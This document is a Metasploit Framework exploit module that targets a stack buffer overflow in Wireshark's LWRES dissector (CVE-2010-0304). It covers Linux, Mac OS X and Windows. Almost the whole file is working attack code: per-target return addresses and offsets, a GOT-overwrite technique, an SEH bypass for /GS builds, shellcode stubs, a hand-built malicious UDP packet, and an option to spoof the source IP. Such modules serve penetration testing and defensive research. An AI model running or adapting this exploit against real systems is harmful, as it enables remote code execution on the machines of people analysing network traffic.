##
# $Id: wireshark_lwres_getaddrbyname.rb 8454 2010-02-11 09:03:48Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'racket'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Capture
def initialize(info = {})
super(update_info(info,
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow',
'Description' => %q{
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
overflow. This bug found and reported by babi.
This particular exploit targets the dissect_getaddrsbyname_request function. Several
other functions also contain potentially exploitable stack-based buffer overflows.
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
exploitation via the return address on the stack. Sending a larger string allows
exploitation using the SEH bypass method. However, this packet will usually get
fragmented, which may cause additional complications.
NOTE: The vulnerable code is reached only when the packet dissection is rendered.
If the packet is fragmented, all fragments must be captured and reassembled to
exploit this issue.
},
'Author' =>
[
'babi', # original discovery/exploit
'jduck', # ported from public exploit
'redsand' # windows target/testing
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8454 $',
'References' =>
[
[ 'CVE', '2010-0304' ],
[ 'OSVDB', '61987' ],
[ 'BID', '37985' ],
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true, # at least capture privilege
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
[ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
# breakpoint: lwres.so + 0x2ce2
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
# conveniently, edx pointed at our string..
# and so, we write it to g_slist_append's GOT entry just before its called.
# pwnt.
#
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
#
'Ret' => 0x804fc85, # see above..
'RetOff' => 376,
'Readable' => 0x804fa04, # just anything
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
}
],
[ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
# the method for tshark doesn't work, since there aren't any convenient
# pointers lying around (in reg/close on stack)
#
# since the wireshark bin has a jmp esp, we'll just use that method..
'Ret' => 0x818fce8, # jmp esp in wireshark bin
'RetOff' => 376,
'Readable' => 0x8066a40, # just any old readable addr (unused)
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
}
],
[ 'wireshark 1.2.5 on RHEL 5.4 (x64)',
{
'Arch' => ARCH_X86_64,
'Platform' => 'linux',
'Ret' => 0xfeedfed5deadbeef,
'RetOff' => 152,
}
],
[ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'osx',
'Ret' => 0xdeadbeef,
'RetOff' => 268,
}
],
# The following target was tested against Windows XP SP3 and Windows Vista
[ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
# NOTE: due to the length of this packet, your mileage may vary.
'Ret' => 0x61B4121B,
# 0x655810b6 = pop/pop/ret in libpango
# 0x02A110B6 = pop/pop/ret in libgtk-w
# 0x03D710CC = pop/mov/pop/ret in packet
# 0x61B4121B = pop/pop/ret in pcre3
'RetOff' => 2128,
}
],
],
'DisclosureDate' => 'Jan 27 2010'))
register_options([
Opt::RPORT(921),
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
], self.class)
deregister_options('FILTER','PCAPFILE')
end
def exploit
ret_offset = target['RetOff']
# we have different techniques depending on the target
if (target == targets[0])
# debian tshark
str = make_nops(ret_offset - payload.encoded.length - 16)
str << payload.encoded
str << [target['GotAddr'] - 0xc].pack('V')
str << rand_text(4)
str << [target['Readable']].pack('V')
str << rand_text(4)
# ret is next
elsif (target == targets[1])
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
str << fix_esp
str << payload.encoded
# jmp esp...
str << [target.ret].pack('V')
# jump back
distance = ret_offset + 4
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
elsif (target == targets[2])
str = Rex::Text.pattern_create(ret_offset - 8)
str << Rex::Arch.pack_addr(target.arch, 0xdac0ffeebadc0ded)
elsif (target == targets[4])
# ugh, /GS and UDP length issues :-/
str = make_nops(ret_offset - payload.encoded.length)
str << payload.encoded
str << generate_seh_record(target.ret)
# jump back
distance = ret_offset + 8
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
else
# this is just a simple DoS payload
str = Rex::Text.pattern_create(ret_offset)
#str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
end
# add return address
str << Rex::Arch.pack_addr(target.arch, target.ret)
# form the packet's payload!
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sploit << "\x00\x00\x00\x01"
sploit << [str.length].pack('n')
sploit << str
sploit << "\x00\x00"
shost = datastore['SHOST']
if (shost)
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
open_pcap
n = Racket::Racket.new
n.l3 = Racket::L3::IPv4.new
n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost)
n.l3.dst_ip = rhost
n.l3.protocol = 6
n.l3.id = rand(0x10000)
n.l3.ttl = 64
n.l4 = Racket::L4::UDP.new
n.l4.src_port = rand((2**16)-1024)+1024
n.l4.dst_port = datastore['RPORT'].to_i
n.l4.payload = sploit
n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
pkt = n.pack
capture_sendto(pkt, rhost)
close_pcap
handler
else
print_status("Sending malformed LWRES packet to #{rhost}")
connect_udp
udp_sock.put(sploit)
handler
disconnect_udp
end
end
end
